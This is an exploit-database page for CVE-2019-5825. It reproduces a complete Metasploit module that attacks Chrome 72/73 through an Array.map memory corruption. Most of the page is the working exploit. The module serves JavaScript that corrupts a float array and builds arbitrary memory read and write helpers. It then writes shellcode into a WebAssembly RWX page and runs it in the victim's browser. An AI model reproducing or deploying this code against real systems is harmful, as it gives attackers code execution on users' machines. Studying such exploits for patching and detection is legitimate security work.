Google Chrome 72 / 73 Array.map Corruption
CVE
Category
Price
Severity
CVE-2019-5825
CWE-119
Not specified
High
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2020-03-08
CPE
cpe:cpe:/a:google:chrome:72.0.3626.121
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020030032 Below is a copy:
Google Chrome 72 / 73 Array.map Corruption ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 72 and 73 Array.map exploit',
'Description' => %q{
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
The exploit corrupts the length of a float in order to modify the backing store
of a typed array. The typed array can then be used to read and write arbitrary
memory. The exploit then uses WebAssembly in order to allocate a region of RWX
memory, which is then replaced with the payload.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'dmxcsnsbh', # discovery
'Istvn Kurucsai', # exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2019-5825'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
['URL', 'https://github.com/exodusintel/Chromium-941743'],
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows','osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Mar 7 2019'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.encoded)
jscript = %Q^
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);
// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof
// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;
// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;
function mapping(a) {
function cb(elem, idx) {
if (idx == 0) {
float_array = [0.1, 0.2];
tarray = new BigUint64Array(2);
tarray[0] = 0x41414141n;
tarray[1] = 0x42424242n;
obj = {'a': 0x31323334, 'b': 1};
obj['b'] = obj;
}
if (idx > float_array_len_offset) {
// minimize the corruption for stability
throw "stop";
}
return idx;
}
return a.map(cb);
}
function get_rw() {
for (let i = 0; i < 10 ** 5; i++) {
mapping(a);
}
// Now lengthen the array, but ensure that it points to a non-dictionary
// backing store.
a.length = (32 * 1024 * 1024)-1;
a.fill(1, float_array_len_offset, float_array_len_offset+1);
a.fill(1, float_array_len_offset+2);
a.push(2);
a.length += 500;
// Now, the non-inlined array constructor should produce an array with
// dictionary elements: causing a crash.
cnt = 1;
try {
mapping(a);
} catch(e) {
// relative RW from the float array from this point on
let sane = sanity_check()
print('sanity_check == ', sane);
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));
let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
print('original elements addr: ' + original_elements_ptr.toString(16));
print('original elements value: ' + read8(original_elements_ptr).toString(16));
print('addrof(Object): ' + addrof(Object).toString(16));
}
}
function sanity_check() {
success = true;
success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
return success;
}
function read8(addr) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
let result = tarray[0];
float_array[tarray_elements_len_offset+1] = original;
return result;
}
function write8(addr, val) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
tarray[0] = val;
float_array[tarray_elements_len_offset+1] = original;
}
function addrof(o) {
obj['b'] = o;
return float_array[obj_prop_b_offset].f2i();
}
var wfunc = null;
var shellcode = unescape("#{escaped_payload}");
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}
function rce() {
let wasm_func = get_wasm_func();
wfunc = wasm_func;
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func) - 1n;
print('wasm: ' + wasm_func_addr);
if (wasm_func_addr == 2) {
print('Failed, retrying...');
location.reload();
return;
}
let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
print('sfi: ' + sfi.toString(16));
let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));
let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
print('instance: ' + instance.toString(16));
//let rwx_addr = read8(instance + 0x108n);
let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
print('rwx: ' + rwx_addr.toString(16));
// write the shellcode to the RWX page
if (shellcode.length % 2 != 0) {
shellcode += "\u9090";
}
for (let i = 0; i < shellcode.length; i += 2) {
write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
}
// invoke the shellcode
wfunc();
}
function exploit() {
print("Exploiting...");
get_rw();
rce();
}
exploit();
^
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end
end
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